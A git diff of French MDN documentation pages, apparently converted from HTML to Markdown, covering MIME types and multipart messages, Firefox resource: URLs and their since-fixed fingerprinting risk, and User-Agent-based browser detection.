<form action="http://localhost:8000/" method="post" enctype="multipart/form-data">
-  <input type="text" name="monChampTexte">
-  <input type="checkbox" name="maCheckBox">Check</input>
-  <input type="file" name="monFichier">
-  <button>Envoyer le fichier</button>
-</form>
+ Test + -----------------------------8721656041911415653955004498 + Content-Disposition: form-data; name="maCheckBox" -

enverra le message suivant :

+ sur + -----------------------------8721656041911415653955004498 + Content-Disposition: form-data; name="monFichier"; filename="test.txt" + Content-Type: text/plain -
POST / HTTP/1.1
-Host: localhost:8000
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-US,en;q=0.5
-Accept-Encoding: gzip, deflate
-Connection: keep-alive
-Upgrade-Insecure-Requests: 1
-Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498
-Content-Length: 465
+    un fichier simple.
+    -----------------------------8721656041911415653955004498--
 
------------------------------8721656041911415653955004498
-Content-Disposition: form-data; name="monChampTexte"
+### `multipart/byteranges`
 
-Test
------------------------------8721656041911415653955004498
-Content-Disposition: form-data; name="maCheckBox"
+Le type MIME `multipart/byteranges` est utilisé lors qu'il s'agit d'envoyer une réponse partielle au navigateur. Lorsque le statut {{HTTPStatus("206")}} `Partial Content` est envoyé, ce type MIME sert pour indiquer que le document est constitué de plusieurs parties. Comme les types composés, l'en-tête {{HTTPHeader("Content-Type")}} utilise la directive `boundary` pour définir une chaîne de délimitation. Chaque partie possède son en-tête {{HTTPHeader("Content-Type")}} ainsi que {{HTTPHeader("Content-Range")}} qui spécifie le morceau que cette partie représente.
 
-sur
------------------------------8721656041911415653955004498
-Content-Disposition: form-data; name="monFichier"; filename="test.txt"
-Content-Type: text/plain
+    HTTP/1.1 206 Partial Content
+    Accept-Ranges: bytes
+    Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
+    Content-Length: 385
 
-un fichier simple.
------------------------------8721656041911415653955004498--
+    --3d6b6a416f9b5
+    Content-Type: text/html
+    Content-Range: bytes 100-200/1270
 
-
+ eta http-equiv="Content-type" content="text/html; charset=utf-8" /> + multipart/byteranges + -color: #f0f0f2; + margin: 0; + padding: 0; + font-family: "Open Sans", "Helvetica + --3d6b6a416f9b5-- -

Le type MIME multipart/byteranges est utilisé lors qu'il s'agit d'envoyer une réponse partielle au navigateur. Lorsque le statut {{HTTPStatus("206")}} Partial Content est envoyé, ce type MIME sert pour indiquer que le document est constitué de plusieurs parties. Comme les types composés, l'en-tête {{HTTPHeader("Content-Type")}} utilise la directive boundary pour définir une chaîne de délimitation. Chaque partie possède son en-tête {{HTTPHeader("Content-Type")}} ainsi que {{HTTPHeader("Content-Range")}} qui spécifie le morceau que cette partie représente.

+## De l'importance de définir correctement un type MIME -
HTTP/1.1 206 Partial Content
-Accept-Ranges: bytes
-Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
-Content-Length: 385
+La plupart des serveurs envoient des ressources de format inconnu et donc utilisent le type par défaut `application/octet-stream`. Pour des considérations de sécurité, les navigateurs n'effectuent pas d'action par défaut pour les ressources de ce type, ce qui oblige l'utilisateur à stocker le fichier sur son dique pour l'utiliser. Voici les erreurs communes de configuration côté serveur pour les formats suivants :
 
---3d6b6a416f9b5
-Content-Type: text/html
-Content-Range: bytes 100-200/1270
+- Les fichiers RAR. Idéalement il faudrait définir le type MIME associé aux fichiers contenus. Ce n'est généralement pas possible étant donné que le type de ces fichiers est vraisemblablement inconnu du serveur, d'autre part, il est possible que plusieurs formats soient présents dans le fichier RAR. On pourra alors configurer le serveur pour envoyer le type MIME `application/x-rar-compressed` bien qu'il soit probable qu'aucune action par défaut pour ce type MIME n'ait été définie côté utilisateur.
+- Fichiers audios et vidéos. Seules les ressources associées à un type MIME approprié seront reconnues et lues dans les éléments {{ HTMLElement("video")}} ou {{HTMLElement("audio")}}. Vérifiez que vous utilisez [un format correct pour les fichiers audios et vidéos](/fr/docs/Web/HTML/Supported_media_formats).
+- Les fichiers au format propriétaire. Il est nécessaire d'être vigilent lorsque l'on sert des fichiers propriétaires. Evitez autant que possible l'utilisation de `application/octet-stream` puisque ce type générique ne permet pas une gestion appropriée de la ressource.
 
-eta http-equiv="Content-type" content="text/html; charset=utf-8" />
-    <meta name="vieport" content
---3d6b6a416f9b5
-Content-Type: text/html
-Content-Range: bytes 300-400/1270
+## Détection de type MIME
 
--color: #f0f0f2;
-        margin: 0;
-        padding: 0;
-        font-family: "Open Sans", "Helvetica
---3d6b6a416f9b5--
+Lorsque le type MIME est absent ou lorsque le client détecte que le type MIME a été mal associé, les navigateurs peuvent pratiquer la détection de type MIME via l'analyse de la ressource. Chaque navigateur implémente cette technique différemment et l'utilise dans des contextes différents. Il existe des problématiques de sécurité, étant donné que certaines ressources sont des fichiers exécutables et d'autres non. Les serveurs peuvent empêcher la détection de type MIME par le navigateur en envoyant l'en-tête {{HTTPHeader("X-Content-Type-Options")}} associé à {{HTTPHeader("Content-Type")}}. -

De l'importance de définir correctement un type MIME

+## Autres méthodes pour transporter le format d'un document -

La plupart des serveurs envoient des ressources de format inconnu et donc utilisent le type par défaut application/octet-stream. Pour des considérations de sécurité, les navigateurs n'effectuent pas d'action par défaut pour les ressources de ce type, ce qui oblige l'utilisateur à stocker le fichier sur son dique pour l'utiliser. Voici les erreurs communes de configuration côté serveur pour les formats suivants :

+Les types MIME ne sont pas la seule façon existante pour gérer le format d'un document : -
    -
  • -

    Les fichiers RAR. Idéalement il faudrait définir le type MIME associé aux fichiers contenus. Ce n'est généralement pas possible étant donné que le type de ces fichiers est vraisemblablement inconnu du serveur, d'autre part, il est possible que plusieurs formats soient présents dans le fichier RAR. On pourra alors configurer le serveur pour envoyer le type MIME application/x-rar-compressed bien qu'il soit probable qu'aucune action par défaut pour ce type MIME n'ait été définie côté utilisateur.

    -
    • -
  • -

    Fichiers audios et vidéos. Seules les ressources associées à un type MIME approprié seront reconnues et lues dans les éléments {{ HTMLElement("video")}} ou {{HTMLElement("audio")}}. Vérifiez que vous utilisez un format correct pour les fichiers audios et vidéos.

    -
    • -
  • -

    Les fichiers au format propriétaire. Il est nécessaire d'être vigilent lorsque l'on sert des fichiers propriétaires. Evitez autant que possible l'utilisation de application/octet-stream puisque ce type générique ne permet pas une gestion appropriée de la ressource.

    -
    • -
+- Les extensions de fichiers sont parfois utilisées, comme sur les systèmes d'exploitation Microsoft Windows. Tous les systèmes d'exploitation ne considèrent pas l'extension comme signifiante (en particulier Linux et Mac OS). De la même manière que pour les types MIME externes, il n'est pas garanti que le contenu soit effectivement du type correspondant à l'extension du document. +- Nombres magiques : La syntaxe de différents fichiers permet de déterminer le fichier en analysant son contenu, ainsi les fichiers GIF commencent par les valeurs hexadécimales 47 49 46 38 soit \[GIF89], les fichiers PNG quant à eux commencent par 89 50 4E 47 soit \[.PNG]. Néanmoins, tous les types de fichiers ne permettent pas d'utiliser des nombres magiques, il ne s'agit donc pas d'une technique infaillible. -

Détection de type MIME

+## Voir aussi -

Lorsque le type MIME est absent ou lorsque le client détecte que le type MIME a été mal associé, les navigateurs peuvent pratiquer la détection de type MIME via l'analyse de la ressource. Chaque navigateur implémente cette technique différemment et l'utilise dans des contextes différents. Il existe des problématiques de sécurité, étant donné que certaines ressources sont des fichiers exécutables et d'autres non. Les serveurs peuvent empêcher la détection de type MIME par le navigateur en envoyant l'en-tête {{HTTPHeader("X-Content-Type-Options")}} associé à {{HTTPHeader("Content-Type")}}.

- -

Autres méthodes pour transporter le format d'un document

- -

Les types MIME ne sont pas la seule façon existante pour gérer le format d'un document :

- -
    -
  • Les extensions de fichiers sont parfois utilisées, comme sur les systèmes d'exploitation Microsoft Windows. Tous les systèmes d'exploitation ne considèrent pas l'extension comme signifiante (en particulier Linux et Mac OS). De la même manière que pour les types MIME externes, il n'est pas garanti que le contenu soit effectivement du type correspondant à l'extension du document.
    • -
  • Nombres magiques : La syntaxe de différents fichiers permet de déterminer le fichier en analysant son contenu, ainsi les fichiers GIF commencent par les valeurs hexadécimales 47 49 46 38 soit [GIF89], les fichiers PNG quant à eux commencent par 89 50 4E 47 soit [.PNG]. Néanmoins, tous les types de fichiers ne permettent pas d'utiliser des nombres magiques, il ne s'agit donc pas d'une technique infaillible.
    • -
- -

Voir aussi

- - +- [Configurer proprement les types MIME côté serveur](/fr/docs/Web/Security/Securing_your_site/Configuring_server_MIME_types) +- [Formats multimédias supportés pour les éléments HTML audio et vidéo](/fr/docs/Web/HTML/Supported_media_formats) +- diff --git a/files/fr/web/http/basics_of_http/resource_urls/index.md b/files/fr/web/http/basics_of_http/resource_urls/index.md index 62e578b91a..8ef9268937 100644 --- a/files/fr/web/http/basics_of_http/resource_urls/index.md +++ b/files/fr/web/http/basics_of_http/resource_urls/index.md @@ -9,60 +9,56 @@ tags: translation_of: Web/HTTP/Basics_of_HTTP/Resource_URLs original_slug: Web/HTTP/Basics_of_HTTP/URLs_de_type_ressource --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Les URLs de type ressource sont les URLs préfixées à l'aide du schéma resource:. Elles sont utilisées par Firefox ainsi que les modules complémentaires pour charger des ressources de manière interne, néanmoins, certaines informations associées sont disponibles pour les sites auxquels le navigateur accède.

+Les URLs de type ressource sont les URLs préfixées à l'aide du schéma `resource:`. Elles sont utilisées par Firefox ainsi que les modules complémentaires pour charger des ressources de manière interne, néanmoins, certaines informations associées sont disponibles pour les sites auxquels le navigateur accède. -

Syntaxe

+## Syntaxe -

Les URLs de type ressource sont composées de deux parties, un préfixe (resource:) et l'URL qui dirige vers la ressource que l'on souhaite charger :

+Les URLs de type ressource sont composées de deux parties, un préfixe (`resource:`) et l'URL qui dirige vers la ressource que l'on souhaite charger : -
resource://<url>
+ resource:// -

Voici un exemple :

+Voici un exemple : -
resource://gre/res/svg.css
+ resource://gre/res/svg.css -

Pour plus de détails, vous pouvez consulter Identifier des ressources sur le Web.

+Pour plus de détails, vous pouvez consulter [Identifier des ressources sur le Web](/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web). -

Dans cet article, nous abordons les URIs ressources qui sont utilisées par Firefox pour pointer vers des ressources internes.

+Dans cet article, nous abordons les URIs ressources qui sont utilisées par Firefox pour pointer vers des ressources internes. -

Menaces

+## Menaces -

Étant donné que les informations partagées par les URLs resource: sont accessibles par les sites web, une page web pourrait être en mesure d'exécuter un script pour inspecter les ressources internes à Firefox telles que les préférences par défaut, ce qui pourrait constituer un problème important de confidentialité et de sécurité.

+Étant donné que les informations partagées par les URLs `resource:` sont accessibles par les sites web, une page web pourrait être en mesure d'exécuter un script pour inspecter les ressources internes à Firefox telles que les préférences par défaut, ce qui pourrait constituer un problème important de confidentialité et de sécurité. -

Par exemple, ce script sur Browserleaks détaille les éléments accessibles de Firefox lorsque l'on appelle l'URL ressource. Le code de ce script est accessible à l'adresse https://browserleaks.com/firefox#more.

+Par exemple, [ce script sur Browserleaks](https://www.browserleaks.com/firefox) détaille les éléments accessibles de Firefox lorsque l'on appelle l'URL ressource. Le code de ce script est accessible à l'adresse . -

Le fichier firefox.js passe les noms des préférences et leurs valeurs à la fonction pref().

+Le fichier [firefox.js](https://searchfox.org/mozilla-central/rev/48ea452803907f2575d81021e8678634e8067fc2/browser/app/profile/firefox.js#575) passe les noms des préférences et leurs valeurs à la fonction `pref()`. -

Les sites web peuvent aisément récupérer les préférences par défaut de Firefox en contournant la fonction pref() et en utilisant le script resource:///defaults/preferences/firefox.js.

+Les sites web peuvent aisément récupérer les préférences par défaut de Firefox en contournant la fonction `pref()` et en utilisant le script `resource:///defaults/preferences/firefox.js`. -

De plus, certaines valeurs par défaut diffèrent selon les versions ou les installations, parmi lesquelles le système d'exploitation ou la langue d'utilisation, il est donc possible d'identifier les utilisateurs de manière distincte.

+De plus, certaines valeurs par défaut diffèrent selon les versions ou les installations, parmi lesquelles le système d'exploitation ou la langue d'utilisation, il est donc possible d'identifier les utilisateurs de manière distincte. -

Solution

+## Solution -

Afin de résoudre ce problème, Mozilla a modifié le comportement du chargement des URLs ressource via {{bug(863246)}}, rendu disponible à partir de Firefox 57 (Quantum).

+Afin de résoudre ce problème, Mozilla a modifié le comportement du chargement des URLs ressource via {{bug(863246)}}, rendu disponible à partir de Firefox 57 (Quantum). -

Auparavant, les sites web étaient capables d'accéder à n'importe quelle URI resource:, celles de Firefox mais aussi celles des modules complémentaires. Ce comportement est désormais interdit par défaut.

+Auparavant, les sites web étaient capables d'accéder à n'importe quelle URI `resource:`, celles de Firefox mais aussi celles des modules complémentaires. Ce comportement est désormais interdit par défaut. -

Firefox nécessite néanmoins le chargement des ressources au sein d'un contenu web dans certains cas. Ainsi lorsque l'on souhaite accéder au code source d'une page à l'aide de "Code source de la page", un appel à viewsource.css via une URI resource: est nécessaire. Les ressources auxquelles le contenu web a besoin d'accéder ont été déplacées sous resource://content-accessible/, une partie isolée et ne contenant que des ressources n'étant pas confidentielles. De cette manière, il est possible d'exposer des ressources tout en réduisant la plupart des menaces.

+Firefox nécessite néanmoins le chargement des ressources au sein d'un contenu web dans certains cas. Ainsi lorsque l'on souhaite accéder au code source d'une page à l'aide de "Code source de la page", un appel à `viewsource.css` via une URI `resource:` est nécessaire. Les ressources auxquelles le contenu web a besoin d'accéder ont été déplacées sous `resource://content-accessible/`, une partie isolée et ne contenant que des ressources n'étant pas confidentielles. De cette manière, il est possible d'exposer des ressources tout en réduisant la plupart des menaces. -
-

Note : Il est recommandé de ne plus utiliser les URLs de type ressource lors du développement web ou de celui d'un module. Leur utilisation était peu fiable et la plupart ne fonctionnent plus.

-
+> **Note :** Il est recommandé de ne plus utiliser les URLs de type ressource lors du développement web ou de celui d'un module. Leur utilisation était peu fiable et la plupart ne fonctionnent plus. -

Spécifications

+## Spécifications -

resource: n'est pas défini dans une spécification RFC.

+`resource:` n'est pas défini dans une spécification RFC. -

Compatibilité des navigateurs

+## Compatibilité des navigateurs -

resource: est disponible uniquement dans Firefox.

+resource: est disponible uniquement dans Firefox. -

Voir aussi

+## Voir aussi - +- [Identifier des ressources sur le Web](/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web) +- [Qu'est-ce qu'une URL ?](/fr/docs/Learn/Common_questions/What_is_a_URL) +- [Liste des schémas URI maintenue par l'IANA](https://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml) (`resource:` est [définie ici](https://www.iana.org/assignments/uri-schemes/prov/resource)) diff --git a/files/fr/web/http/browser_detection_using_the_user_agent/index.md b/files/fr/web/http/browser_detection_using_the_user_agent/index.md index 072103ebd8..e6adc3710d 100644 --- a/files/fr/web/http/browser_detection_using_the_user_agent/index.md +++ b/files/fr/web/http/browser_detection_using_the_user_agent/index.md @@ -7,234 +7,237 @@ tags: translation_of: Web/HTTP/Browser_detection_using_the_user_agent original_slug: Web/HTTP/Detection_du_navigateur_en_utilisant_le_user_agent --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Afficher des pages web ou des services en fonction du navigateur est généralement une mauvaise idée. Le Web se doit d'être accessible à tout le monde, sans prendre en compte le navigateur ou l'appareil utilisé. Il existe différentes façons de développer votre site web afin de l'améliorer progressivement en se basant sur des fonctionnalités standard plutôt qu'en traitant chaque navigateur de manière spécifique.

+Afficher des pages web ou des services en fonction du navigateur est généralement une mauvaise idée. Le Web se doit d'être accessible à tout le monde, sans prendre en compte le navigateur ou l'appareil utilisé. Il existe différentes façons de développer votre site web afin de l'améliorer progressivement en se basant sur des fonctionnalités standard plutôt qu'en traitant chaque navigateur de manière spécifique. -

Les navigateurs et les standards ne sont cependant pas parfaits, il reste certains cas limites pour lesquels connaître le navigateur utilisé peut s'avérer utile. Utiliser le User-Agent dans ce but paraît simple mais le faire de manière fiable est en réalité très difficile. Ce document va vous guider pour lire le User-Agent aussi précisément que possible.

+Les navigateurs et les standards ne sont cependant pas parfaits, il reste certains cas limites pour lesquels connaître le navigateur utilisé peut s'avérer utile. Utiliser le User-Agent dans ce but paraît simple mais le faire de manière fiable est en réalité très difficile. Ce document va vous guider pour lire le User-Agent aussi précisément que possible. -
-

Note : Il est important de rappeler que contrôler le contenu du User-Agent est rarement une bonne idée. Il est presque toujours possible de trouver une solution plus générique et compatible avec un plus grand nombre de navigateurs et d'appareils !

-
+> **Note :** Il est important de rappeler que contrôler le contenu du User-Agent est rarement une bonne idée. Il est presque toujours possible de trouver une solution plus générique et compatible avec un plus grand nombre de navigateurs et d'appareils ! -

A prendre en compte avant d'identifier le navigateur

+## A prendre en compte avant d'identifier le navigateur -

Lorsque vous cherchez à contrôler le contenu de la chaîne de caractères User-Agent pour détecter le navigateur utilisé, la première étape consiste à éviter cette méthode autant que possible. Commencez par identifier pourquoi vous souhaitez le faire.

+Lorsque vous cherchez à contrôler le contenu de la chaîne de caractères User-Agent pour détecter le navigateur utilisé, la première étape consiste à éviter cette méthode autant que possible. Commencez par identifier **pourquoi** vous souhaitez le faire. -
-
Êtes-vous en train d'essayer de corriger un bug pour une version spécifique d'un navigateur ?
-
Recherchez ou demandez sur les forums spécialisés : vous n'êtes certainement pas le premier à rencontrer le problème. Des experts ou d'autres personnes avec un point de vue différent peuvent vous donner des idées pour contourner le problème. Si le bug n'est pas fréquent, il peut être utile de vérifier s'il a déjà été signalé au fournisseur du navigateur dans son système de suivi des bugs (Mozilla, WebKit, Opera). Les fournisseurs sont attentifs aux bugs signalés, leur analyse du problème peut apporter un éclairage nouveau permettant de contourner le bug.
-
Cherchez-vous à vérifier l'existence d'une fonctionnalité particulière ?
-
Votre site a besoin d'une fonctionnalité qui n'est pas encore supportée par certains navigateurs et vous souhaitez servir à leurs utilisateurs une version plus ancienne du site, avec moins de fonctionnalités mais dont vous êtes certain qu'elle va fonctionner. Il s'agit de la pire raison de détecter le User-Agent car il y a de grandes chances que ces navigateurs finissent par rattraper leur retard. Dans ce cas, le mieux est d'éviter de recourir au User-Agent et de détecter les fonctionnalités disponibles.
-
+- Êtes-vous en train d'essayer de corriger un bug pour une version spécifique d'un navigateur ? + - : Recherchez ou demandez sur les forums spécialisés : vous n'êtes certainement pas le premier à rencontrer le problème. Des experts ou d'autres personnes avec un point de vue différent peuvent vous donner des idées pour contourner le problème. Si le bug n'est pas fréquent, il peut être utile de vérifier s'il a déjà été signalé au fournisseur du navigateur dans son système de suivi des bugs ([Mozilla](https://bugzilla.mozilla.org/), [WebKit](https://bugs.webkit.org/), [Opera](https://bugs.opera.com)). Les fournisseurs sont attentifs aux bugs signalés, leur analyse du problème peut apporter un éclairage nouveau permettant de contourner le bug. +- Cherchez-vous à vérifier l'existence d'une fonctionnalité particulière ? + - : Votre site a besoin d'une fonctionnalité qui n'est pas encore supportée par certains navigateurs et vous souhaitez servir à leurs utilisateurs une version plus ancienne du site, avec moins de fonctionnalités mais dont vous êtes certain qu'elle va fonctionner. Il s'agit de la pire raison de détecter le User-Agent car il y a de grandes chances que ces navigateurs finissent par rattraper leur retard. Dans ce cas, le mieux est d'éviter de recourir au User-Agent et de détecter les fonctionnalités disponibles. -
-
Voulez-vous servir un code HTML différent selon le navigateur utilisé ?
-
Il s'agit généralement d'une mauvaise pratique mais nécessaire dans certains cas. Vous devez alors analyser la situation pour vous assurer que c'est absolument nécessaire. Pouvez-vous l'éviter en ajoutant des éléments non sémantiques tels que {{ HTMLElement("div") }} ou {{ HTMLElement("span") }} ? La difficulté à détecter le User-Agent justifie des exceptions à la pureté du code HTML. Vous pouvez aussi repenser le design : pouvez-vous plutôt utiliser l'amélioration progressives ou utiliser une grille fluide pour éviter d'avoir recours au User-Agent ?
-
+ -

Éviter de détecter l'agent utilisateur

+- Voulez-vous servir un code HTML différent selon le navigateur utilisé ? + - : Il s'agit généralement d'une mauvaise pratique mais nécessaire dans certains cas. Vous devez alors analyser la situation pour vous assurer que c'est absolument nécessaire. Pouvez-vous l'éviter en ajoutant des éléments non sémantiques tels que {{ HTMLElement("div") }} ou {{ HTMLElement("span") }} ? La difficulté à détecter le User-Agent justifie des exceptions à la pureté du code HTML. Vous pouvez aussi repenser le design : pouvez-vous plutôt utiliser l'amélioration progressives ou utiliser une grille fluide pour éviter d'avoir recours au User-Agent ? -

Il existe des options possibles à considérer pour éviter d'avoir à détecter l'agent utilisateur.

+## Éviter de détecter l'agent utilisateur -
-
Détection de fonctionnalités
-
La détection de fonctionnalités consiste à ne pas détecter quel navigateur affiche la page mais plutôt à vérifier qu'une fonctionnalité est disponible. Dans le cas contraire vous pouvez utiliser une solution de contournement. Cependant, n'utilisez pas la détection de fonctionnalité dans les rares cas où la détection de l'agent utilisateur est utile car les autres navigateurs pourraient dans le futur implémenter la fonctionnalité manquante d'une manière différente. Il pourrait en résulter des bugs particulièrement difficiles à détecter et à corriger.
-
Amélioration progressive
-
Cette technique de design signifie séparer la page web en couches, en utilisant une approche ascendante (ou bottom-up), en commençant par une couche simple (avec peu ou pas de fonctionnalités) puis en améliorant les capacités par couches successives, chacune comportant plus de fonctionnalités.
-
Dégradation élégante
-
Il s'agit d'une approche descendante (ou top-down), avec laquelle on construit le site avec toutes les fonctionalités souhaitées, pour ensuite le faire fonctionner sur des navigateurs plus anciens. Cette technique est plus difficile et moins efficace que l'amélioration progressive mais s'avère utile dans certains cas.
-
+Il existe des options possibles à considérer pour éviter d'avoir à détecter l'agent utilisateur. -

Où se trouve l'information recherchée dans le User-Agent

+- Détection de fonctionnalités + - : La détection de fonctionnalités consiste à ne pas détecter quel navigateur affiche la page mais plutôt à vérifier qu'une fonctionnalité est disponible. Dans le cas contraire vous pouvez utiliser une solution de contournement. Cependant, n'utilisez pas la détection de fonctionnalité dans les rares cas où la détection de l'agent utilisateur est utile car les autres navigateurs pourraient dans le futur implémenter la fonctionnalité manquante d'une manière différente. Il pourrait en résulter des bugs particulièrement difficiles à détecter et à corriger. +- Amélioration progressive + - : Cette technique de design signifie séparer la page web en couches, en utilisant une approche ascendante (ou bottom-up), en commençant par une couche simple (avec peu ou pas de fonctionnalités) puis en améliorant les capacités par couches successives, chacune comportant plus de fonctionnalités. +- Dégradation élégante + - : Il s'agit d'une approche descendante (ou top-down), avec laquelle on construit le site avec toutes les fonctionalités souhaitées, pour ensuite le faire fonctionner sur des navigateurs plus anciens. Cette technique est plus difficile et moins efficace que l'amélioration progressive mais s'avère utile dans certains cas. -

C'est la partie difficile, puisque les différentes sections de la chaîne User-Agent ne sont pas standardisées.

+## Où se trouve l'information recherchée dans le User-Agent -

Nom du navigateur

+C'est la partie difficile, puisque les différentes sections de la chaîne User-Agent ne sont pas standardisées. -

Souvent ceux qui disent vouloir détecter le navigateur veulent en fait détecter le moteur de rendu. Souhaitez-vous détecter Firefox et non Seamonkey, ou Chrome et non Chromium ? Ou seulement savoir si le navigateur utilise le moteur de rendu Gecko ou Webkit ? Dans ce dernier cas, réferrez vous plus bas dans cette page.

+### Nom du navigateur -

La plupart des navigateurs notent leur nom et version suivant le format NomDuNavigateur/NuméroDeVersion, à l'exception notable d'Internet Explorer. Le nom n'est cependant pas la seule information du User-Agent qui respecte ce format, il n'est donc pas possible d'y trouver directement le nom du navigateur, seulement de vérifier si le nom recherché est présent ou non. Attention certains navigateurs mentent : par exemple, Chrome mentionne à la fois Chrome et Safari dans le User-Agent. Pour détecter Safari il faut donc vérifier que la chaîne "Safari" est présente et "Chrome" est absent. De la même façon, Chromium se présente souvent comme Chrome et Seamonkey comme Firefox.

+Souvent ceux qui disent vouloir détecter le navigateur veulent en fait détecter le moteur de rendu. Souhaitez-vous détecter Firefox et non Seamonkey, ou Chrome et non Chromium ? Ou seulement savoir si le navigateur utilise le moteur de rendu Gecko ou Webkit ? Dans ce dernier cas, réferrez vous plus bas dans cette page. -

Faites aussi attention à ne pas utiliser une expression régulière trop simple sur le nom du navigateur car le User-Agent contient d'autres chaînes de caractères ne respectant pas le format clé/valeur. Par exemple, le User-Agent de Safari et Chrome contient une chaîne "like Gecko".

+La plupart des navigateurs notent leur nom et version suivant le format _NomDuNavigateur/NuméroDeVersion_, à l'exception notable d'Internet Explorer. Le nom n'est cependant pas la seule information du User-Agent qui respecte ce format, il n'est donc pas possible d'y trouver directement le nom du navigateur, seulement de vérifier si le nom recherché est présent ou non. Attention certains navigateurs mentent : par exemple, Chrome mentionne à la fois Chrome et Safari dans le User-Agent. Pour détecter Safari il faut donc vérifier que la chaîne "Safari" est présente et "Chrome" est absent. De la même façon, Chromium se présente souvent comme Chrome et Seamonkey comme Firefox. + +Faites aussi attention à ne pas utiliser une expression régulière trop simple sur le nom du navigateur car le User-Agent contient d'autres chaînes de caractères ne respectant pas le format clé/valeur. Par exemple, le User-Agent de Safari et Chrome contient une chaîne "like Gecko". - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MoteurDoit contenirNe doit pas contenirNotes
FirefoxFirefox/xyzSeamonkey/xyz 
SeamonkeySeamonkey/xyz  
ChromeChrome/xyzChromium/xyz 
ChromiumChromium/xyz  
SafariSafari/xyzChrome/xyz ou Chromium/xyzSafari donne deux numéros de version, l'un technique au format Safari/xyz, l'autre plus convivial su format Version/xyz
Opera -

OPR/xyz>

- -

Opera/xyz

- 		  -

Opera 15+ (moteur de rendu Blink)

- -

Opera 12- (moteur de rendu Presto)

-
Internet Explorer;MSIE xyz; Internet Explorer n'utilise pas le format NomDuNavigateur/NuméroDeVersion
MoteurDoit contenirNe doit pas contenirNotes
FirefoxFirefox/xyzSeamonkey/xyz 
SeamonkeySeamonkey/xyz  
ChromeChrome/xyzChromium/xyz 
ChromiumChromium/xyz  
SafariSafari/xyzChrome/xyz ou Chromium/xyz + Safari donne deux numéros de version, l'un technique au format + Safari/xyz, l'autre plus convivial su format Version/xyz +
Opera +

OPR/xyz>

+

Opera/xyz

+ 		  +

Opera 15+ (moteur de rendu Blink)

+

Opera 12- (moteur de rendu Presto)

+
Internet Explorer;MSIE xyz;  + Internet Explorer n'utilise pas le format + NomDuNavigateur/NuméroDeVersion +
-

Il n'y a évidemment aucune garantie qu'aucun autre navigateur ne va utiliser ces notations (comme Chrome qui mentionne "Safari" dans son User-Agent). C'est pourquoi la détection du navigateur par ce moyen n'est pas fiable et ne doit être fait qu'en vérifiant aussi le numéro de version (il est peu probable qu'un navigateur mentionne dans son User-Agent le nom d'un autre navigateur dans une version plus ancienne).

+Il n'y a évidemment aucune garantie qu'aucun autre navigateur ne va utiliser ces notations (comme Chrome qui mentionne "Safari" dans son User-Agent). C'est pourquoi la détection du navigateur par ce moyen n'est pas fiable et ne doit être fait qu'en vérifiant aussi le numéro de version (il est peu probable qu'un navigateur mentionne dans son User-Agent le nom d'un autre navigateur dans une version plus ancienne). -

Version du navigateur

+### Version du navigateur -

La version du navigateur est souvent, mais pas toujours, écrite dans la valeur d'un ensemble clé/valeur NomDuNavigateur/NuméroDeVersion dans la chaîne de caractères du User-Agent. Ce n'est pas le cas d'Internet Explorer (qui écrit son numéro de version juste après la chaîne "MSIE"), et d'Opera après la version 10, qui ajoute une section Version/NuméroDeVersion.

+La version du navigateur est souvent, mais pas toujours, écrite dans la valeur d'un ensemble clé/valeur _NomDuNavigateur/NuméroDeVersion_ dans la chaîne de caractères du User-Agent. Ce n'est pas le cas d'Internet Explorer (qui écrit son numéro de version juste après la chaîne "MSIE"), et d'Opera après la version 10, qui ajoute une section _Version/NuméroDeVersion_. -

Encore une fois, assurez vous de regarder au bon endroit selon le navigateur visé car il n'y a aucune garantie de trouver un numéro de version valide dans le reste du User-Agent.

+Encore une fois, assurez vous de regarder au bon endroit selon le navigateur visé car il n'y a aucune garantie de trouver un numéro de version valide dans le reste du User-Agent. -

Moteur de rendu

+### Moteur de rendu -

Comme indiqué plus haut, chercher le nom du moteur de recherche est la plupart du temps la meilleure solution. Cela permet de ne pas exclure des navigateurs peu connus basés sur le même moteur de rendu qu'un autre plus connu. Les navigateurs qui utilisent le même moteur de rendu affichent les pages de la même façon : on peut partir du principe que ce qui va fonctionner avec l'un fonctionnera avec l'autre.

+Comme indiqué plus haut, chercher le nom du moteur de recherche est la plupart du temps la meilleure solution. Cela permet de ne pas exclure des navigateurs peu connus basés sur le même moteur de rendu qu'un autre plus connu. Les navigateurs qui utilisent le même moteur de rendu affichent les pages de la même façon : on peut partir du principe que ce qui va fonctionner avec l'un fonctionnera avec l'autre. -

Il y a cinq principaux moteurs de rendu : Trident, Gecko, Presto, Blink et Webkit. Puisque détecter le nom du moteur de rendu est courant, d'autres noms sont ajoutés dans beaucoup d'autres User-Agents. Il est donc important de faire attention aux faux positifs lorsqu'on cherche à détecter le moteur de rendu.

+Il y a cinq principaux moteurs de rendu : Trident, Gecko, Presto, Blink et Webkit. Puisque détecter le nom du moteur de rendu est courant, d'autres noms sont ajoutés dans beaucoup d'autres User-Agents. Il est donc important de faire attention aux faux positifs lorsqu'on cherche à détecter le moteur de rendu. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
MoteurDoit contenirNe doit pas contenir
GeckoGecko/xyz 
WebKitAppleWebKit/xyzAttention : les navigateurs qui utilisent Webkit ajoutent "like Gecko", ce qui peut déclencher de faux positifs
PrestoOpera/xyzNote : Presto n'est plus utilisé par Opera pour les versions >= 15 (voir "Blink")
TridentTrident/xyzInternet Explorer place cette chaîne dans la partie commentaire du User-Agent
BlinkChrome/xyz 
